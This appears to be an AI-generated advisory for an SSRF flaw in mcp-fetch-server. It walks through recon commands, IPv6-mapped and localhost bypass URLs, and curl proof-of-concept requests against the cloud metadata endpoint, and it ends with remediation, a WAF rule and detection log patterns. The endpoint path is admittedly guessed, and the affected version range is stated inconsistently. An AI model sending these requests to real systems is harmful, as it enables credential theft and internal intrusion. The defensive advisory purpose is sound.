CVE-2026-141591 — Zcaceres Mcp-fetch-server (1.2.0) — CWE-918
mcp-fetch-server 1.1.0 before 1.2.0 contains a server-side request forgery vulnerability in validateUrl and validateResolvedIp that fails to block IPv4-mapped IPv6 addresses. Attackers controlling URLs passed to fetch tools can use hex-form IPv6 literals, trailing-dot localhost, or *.localhost names to reach loopback services, internal hosts, and cloud metadata endpoints.
mcp-fetch-server 1.1.0 before 1.2.0 contains a server-side request forgery vulnerability in validateUrl and validateResolvedIp that fails to block IPv4-mapped IPv6 addresses. Attackers controlling URLs passed to fetch tools can use hex-form IPv6 literals, trailing-dot localhost, or *.localhost names to reach loopback services, internal hosts, and cloud metadata endpoints.
🎯 What is this vulnerability?
Type: Server‑Side Request Forgery (SSRF)
CWE: CWE‑918 – Server‑Side Request Forgery
Root Cause: mcp-fetch-server (v1.1.0‑1.2.0) contains two helper functions – validateUrl and validateResolvedIp.
Both functions are intended to reject URLs that resolve to internal or loopback addresses.
However, the implementation fails to detect IPv4‑mapped IPv6 addresses (e.g. ::ffff:127.0.0.1, ::ffff:10.0.0.5, or hex‑encoded forms such as [0x7F000001]).
Because the validation logic does not filter these literals, an attacker can supply a URL that the server will resolve to an internal IP, causing the server to perform an HTTP request to that address. The server does not enforce any authentication or authorization on the fetch operation, and the request is made from the server’s own network context.
Key points
| Item | Detail |
|---|---|
| Authentication | None required (public endpoint) |
| Authorization | None – any user can trigger the fetch |
| Input validation | validateUrl/validateResolvedIp do not reject IPv4‑mapped IPv6 literals |
| Attack surface | Any URL supplied to the fetch tool (e.g., a JSON payload containing a url field) |
| Impact | Confidentiality: High – attacker can read internal services, metadata, secrets. Integrity/Availability: None per CVSS vector. |
⚡ Attack Chain
NOTE: The exact URI of the vulnerable endpoint is not disclosed in the CVE text. The following example uses a typical REST‑style/api/fetchendpoint that accepts a JSON body with aurlkey. If your target uses a different path or query parameter, adjust the example accordingly.
1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands |
|---|---|---|
| Identify the product | Scan the target for known endpoints or banners. | nmap -sV -p80,443 <target> → mcp-fetch-server 1.1.0 banner |
| Confirm version | Probe the /version endpoint or parse a Server: header. | curl -sI http://<target>/api/version → {"product":"mcp-fetch-server","version":"1.1.0"} |
| Locate fetch endpoint | Enumerate common REST paths or use fuzzing. | dirsearch -u http://<target> -e json,php,js → finds /api/fetch |
2. Exploitation
Goal: Make the server request an internal resource (e.g., the instance metadata service).
2.1 Crafting the malicious URL
| Variant | Example |
|---|---|
| IPv4‑mapped IPv6 literal | http://[::ffff:127.0.0.1] |
| Hex‑encoded IPv6 literal | http://[0x7F000001] |
| Trailing‑dot localhost | http://localhost./ |
| Wildcard localhost | http://*.localhost |
2.2 PoC request (illustrative)
curl -X POST http://<target>/api/fetch \
-H "Content-Type: application/json" \
-d '{
"url": "http://[::ffff:169.254.169.254]/latest/meta-data/"
}'What happens on the server
1. The request reaches /api/fetch.
2. validateUrl accepts the URL because it only checks the scheme and basic format.
3. validateResolvedIp resolves 169.254.169.254 (the AWS EC2 metadata IP) via the IPv4‑mapped IPv6 literal.
4. The server performs an outbound HTTP request to http://169.254.169.254/latest/meta-data/.
5. The response (metadata, IAM role tokens, etc.) is returned to the attacker.
2.3 Alternative internal target
curl -X POST http://<target>/api/fetch \
-H "Content-Type: application/json" \
-d '{
"url": "http://[::ffff:10.0.0.5]:8080/status"
}'If 10.0.0.5:8080 hosts an internal service, the attacker can read its output.
3. Post‑Exploitation
| Impact | Example |
|---|---|
| Read internal services | Retrieve configuration files, logs, or application data from internal hosts. |
| Harvest cloud metadata | Obtain IAM role credentials, instance IDs, or security tokens from 169.254.169.254. |
| Pivot to other internal hosts | Use the SSRF to enumerate the internal network (e.g., http://[::ffff:10.0.0.1], http://[::ffff:10.0.0.2]). |
| Privilege escalation | If internal services expose privileged APIs, the attacker can gain higher privileges. |
| Data exfiltration | The attacker can pipe internal data back through the fetch response or use the SSRF to send data to an external server. |
🌍 Real World Impact
| CVSS Component | Value | Interpretation |
|---|---|---|
| Attack Vector (AV) | Network | Attacker can exploit over the public internet. |
| Attack Complexity (AC) | Low | No special conditions; a single crafted request suffices. |
| Privileges Required (PR) | None | No authentication needed. |
| User Interaction (UI) | None | No user action required. |
| Scope (S) | Changed | The vulnerability allows access to resources outside the intended scope (internal network). |
| Confidentiality (C) | High | Sensitive internal data and secrets can be read. |
| Integrity (I) | None | The vulnerability does not modify data. |
| Availability (A) | None | No denial‑of‑service effect. |
Practical consequences
- Cloud environments: Attackers can pull IAM role credentials, instance metadata, and potentially access other services in the same VPC.
- On‑premises: Attackers can read internal web services, databases, or configuration files exposed on loopback or private IP ranges.
- Regulatory: Exposure of sensitive data may violate GDPR, HIPAA, or PCI‑DSS.
- Operational: Attackers can map the internal network, facilitating further lateral movement.
🛡️ Remediation & Mitigation
1. Patch
| Affected | Fixed |
|---|---|
mcp-fetch-server | Upgrade to ≥ 1.2.0 (the release that adds proper IPv4‑mapped IPv6 filtering). |
If an upgrade is not immediately possible, apply the following mitigations.
2. Workarounds
| Mitigation | How to implement |
|---|---|
| Whitelist URLs | Restrict the fetch tool to a strict list of allowed domains/IPs. |
| Block IPv4‑mapped IPv6 | Add a regex filter that rejects any URL containing ::ffff: or hex‑encoded IPv6 literals. |
| Reject trailing‑dot localhost | Normalize URLs before validation; reject any hostname ending with . that resolves to 127.0.0.1. |
| Disable fetch endpoint | If the fetch feature is not required, remove or protect the endpoint behind authentication. |
| Network segmentation | Place the fetch server on a separate subnet with no outbound access to internal services or metadata endpoints. |
Example ModSecurity rule (Apache/Nginx)
SecRule REQUEST_URI "@beginsWith /api/fetch" \
"phase:2,chain,block,msg:'SSRF: IPv4‑mapped IPv6 detected'"
SecRule REQUEST_BODY "@rx \[::ffff:" \
"t:none,t:lowercase"Note: Adjust the rule to match your web server’s configuration and the exact request format.
3. Detection
| Indicator | Log pattern |
|---|---|
| Requests to internal IP ranges | GET /api/fetch HTTP/1.1" 200 - with url=http://[::ffff:10.0.0.5] |
| Metadata endpoint access | GET /api/fetch HTTP/1.1" 200 - with url=http://169.254.169.254 |
| Unexpected POSTs to /api/fetch | POST /api/fetch HTTP/1.1" 200 - with url= containing localhost. or *.localhost |
Sample log entry
127.0.0.1 - - [02/Dec/2026:14:32:07 +0000] "POST /api/fetch HTTP/1.1" 200 512 "-" "curl/7.68.0" "url=http://[::ffff:169.254.169.254]/latest/meta-data/"If you see such patterns, investigate the source IP and the payload.
⚠️ Urgency
Recommended priority:
Action items
1. Patch to mcp-fetch-server ≥ 1.2.0 as soon as possible.
2. If patching is delayed, enforce the workarounds above and monitor logs for suspicious fetch activity.
3. Verify after remediation that the server no longer resolves IPv4‑mapped IPv6 literals and that internal IPs are blocked.
[🤖 CVE Professor AI Security Engine]
FOFA Query